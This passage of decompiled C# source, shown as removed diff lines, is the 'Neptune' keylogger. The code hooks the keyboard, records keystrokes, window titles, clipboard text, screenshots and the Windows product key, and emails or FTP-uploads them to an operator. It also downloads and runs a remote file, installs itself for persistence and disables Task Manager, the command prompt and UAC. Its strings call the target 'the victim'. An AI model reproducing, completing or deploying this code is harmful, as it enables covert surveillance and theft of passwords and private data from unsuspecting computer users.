false; - private static bool jMQeoKX = false; - private const int vbkkjoL = 257; - private const short meDSLuc = 256; - private const int nNNowJl = 260; - private const int fxhEnyF = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string UGKjKVP; - - public static string VOWzNM - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string HrZbwZ - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string KkHGiP - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string IaXtQogc - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string ikRlqyoU - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.YtuEOJ lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int vjjK(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string xssr() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object mlCr() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void ikFh() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.niMO); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void RynI() - { - try - { - if (!Conversions.ToBoolean(Module1.mlCr()) || Module1.vjjK((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string EKGS( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int niMO(int Code, int wParam, ref Module1.YtuEOJ lParam) - { - int num; - try - { - object obj = (object) Module1.xssr(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.UGKjKVP = Conversions.ToString(Operators.ConcatenateObject((object) Module1.UGKjKVP, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.btqNwINK), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.CRxEXfVB), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.UGKjKVP.EndsWith(Module1.CRxEXfVB + "\r\n") | !Module1.ZpIcvpf | Module1.UGKjKVP.EndsWith("]")) - { - Left = "[BS]"; - break; - } - Module1.UGKjKVP = Module1.UGKjKVP.Remove(checked (Module1.UGKjKVP.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.rKHdzYea) - { - Module1.RzzmZzWi = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.qbrvxpPr) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.qbrvxpPr | Module1.RzzmZzWi) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.qbrvxpPr ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.qbrvxpPr ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.rKHdzYea) - { - Left = " [qbrvxpPr] "; - break; - } - Module1.qbrvxpPr = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.qbrvxpPr) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.qbrvxpPr) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.rKHdzYea) - Left = "[/qbrvxpPr]"; - Module1.qbrvxpPr = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.UGKjKVP += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.THsUqD(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.KUaW(Conversions.ToInteger(Module1.Delay)); - string umLoT = Module1.umLoT; - Module1.umLoT = Operators.CompareString(umLoT, "AaD", false) != 0 ? (Operators.CompareString(umLoT, "FaF", false) != 0 ? (Operators.CompareString(umLoT, "MaD", false) != 0 ? (Operators.CompareString(umLoT, "SaF", false) != 0 ? (Operators.CompareString(umLoT, "WaF", false) != 0 ? Module1.umLoT : Module1.ikRlqyoU) : Module1.IaXtQogc) : Module1.KkHGiP) : Module1.HrZbwZ) : Module1.VOWzNM; - Module1.Yqawgrwt = Module1.TripleDESDecode(Module1.Yqawgrwt, "System.Net"); - Module1.yBhnHPFk = Module1.TripleDESDecode(Module1.yBhnHPFk, "System.Net"); - Module1.ZBXjxfwim = Module1.TripleDESDecode(Module1.ZBXjxfwim, "System.Net"); - Module1.ebmpFabku = Module1.TripleDESDecode(Module1.ebmpFabku, "System.Net"); - Module1.KvMQSK = "\\" + Module1.KvMQSK; - if (Operators.CompareString(Application.StartupPath, Module1.umLoT, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.umLoT + Module1.KvMQSK)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.JJYcfXvL) - { - ref string local1 = ref Module1.jTgGGhpC; - ref string local2 = ref Module1.Yqawgrwt; - ref string local3 = ref Module1.yBhnHPFk; - ref string local4 = ref Module1.ZZofhZyb; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.BjiWWxGS); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.BjiWWxGS = Conversions.ToString(integer); - } - if (Module1.swyqQsXID) - { - ref string local9 = ref Module1.GIcFKYiDQ; - ref string local10 = ref Module1.NOMRCuDgt; - ref string local11 = ref Module1.ZBXjxfwim; - ref string local12 = ref Module1.ebmpFabku; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local13 = ref str1; - Module1.UpFTP(ref local9, ref local10, ref local11, ref local12, ref local13); - } - } - if (Module1.fWNalU) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.mCVoID)) - System.IO.File.Delete(Path.GetTempPath() + Module1.mCVoID); - MyProject.Computer.Network.DownloadFile(Module1.RyQDHg, Path.GetTempPath() + Module1.mCVoID); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.mCVoID)) - { - if (Module1.UsxuGJ) - Process.Start(Path.GetTempPath() + Module1.mCVoID, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.mCVoID); - } - } - if (Module1.jJYQB) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.ypDNv == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.PrLpO) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.lEmKt) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.ixFHQ) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.uBUcR) - Interaction.Shell("C:\\Windows\\System32\\ixFHQ.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.mBwfs) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.umLoT + Module1.KvMQSK); - Process.Start(Module1.umLoT + Module1.KvMQSK); - if (Operators.CompareString(Module1.pHIden, "Melt", false) == 0) - Module1.THsUqD(); - else if (Operators.CompareString(Module1.pHIden, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new gGgr(Module1.rzpVQR).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.tnGDa, "CurrentUser", false) == 0 | Operators.CompareString(Module1.tnGDa, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.TfIbH.Length != 4) - { - string[] strArray = Strings.Split(Module1.TfIbH, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.ikFh(); - switch (Module1.ypDNv) - { - case 3: - new Thread(new ThreadStart(Module1.jMqbWL)).Start(); - break; - case 4: - ewJw.Running = true; - break; - } - if (Module1.SSTime) - new Thread(new ThreadStart(Module1.TimedSS)).Start(); - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.UGKjKVP, "", false) == 0 & Module1.NoEL); - string str = ""; - if (Module1.JnzzPTW) - str = str + "System Information - \r\n" + Module1.MsWlSY() + "\r\n"; - if (Module1.jMQeoKX) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.UGKjKVP = str + Module1.UGKjKVP; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.STtD)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void TimedSS() - { - while (true) - { - do - { - Module1.WaitEx1(); - if (Module1.JJYcfXvL) - { - ref string local1 = ref Module1.jTgGGhpC; - ref string local2 = ref Module1.Yqawgrwt; - ref string local3 = ref Module1.yBhnHPFk; - ref string local4 = ref Module1.ZZofhZyb; - string str1 = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str1; - string str2 = "Attached is a screenshot of the victim in the title."; - ref string local6 = ref str2; - int integer = Conversions.ToInteger(Module1.BjiWWxGS); - ref int local7 = ref integer; - bool flag = true; - ref bool local8 = ref flag; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.BjiWWxGS = Conversions.ToString(integer); - } - } - while (!Module1.swyqQsXID); - Module1.UpFTPImg(ref Module1.GIcFKYiDQ, ref Module1.NOMRCuDgt, ref Module1.ZBXjxfwim, ref Module1.ebmpFabku); - } - } - - public static void WaitEx1() - { - Thread thread = new Thread(new ThreadStart(Module1.WT1)); - thread.Start(); - thread.Join(); - } - - public static void WT1() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.SSInt) * 60.0 * 1000.0)))); - - public static void STtD() - { - string ugKjKvp = Module1.UGKjKVP; - Module1.UGKjKVP = ""; - if (Module1.JJYcfXvL) - { - ref string local1 = ref Module1.jTgGGhpC; - ref string local2 = ref Module1.Yqawgrwt; - ref string local3 = ref Module1.yBhnHPFk; - ref string local4 = ref Module1.ZZofhZyb; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref ugKjKvp; - int integer = Conversions.ToInteger(Module1.BjiWWxGS); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.BjiWWxGS = Conversions.ToString(integer); - } - if (!Module1.swyqQsXID) - return; - Module1.UpFTP(ref Module1.GIcFKYiDQ, ref Module1.NOMRCuDgt, ref Module1.ZBXjxfwim, ref Module1.ebmpFabku, ref ugKjKvp); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.whovM) * 60.0 * 1000.0)))); - - private static void KUaW(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string PUFxFj(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string MsWlSY() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.PUFxFj((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.PUFxFj((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void jMqbWL() - { -label_0: - Module1.KUaW(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.KUaW(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void THsUqD() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string jTgGGhpC, - ref string Dir, - ref string Yqawgrwt, - ref string yBhnHPFk, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + jTgGGhpC + Dir + str2, Yqawgrwt, yBhnHPFk); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + jTgGGhpC + Dir + str2 + ".gif", Yqawgrwt, yBhnHPFk); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string UpFTPImg( - ref string Host, - ref string Dir, - ref string Username, - ref string Password) - { - string str1; - try - { - string str2 = "\\" + Module1.LT; - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + Host + Dir + str2 + ".gif", Username, Password); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port, - ref bool TakePic = false) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (TakePic) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - 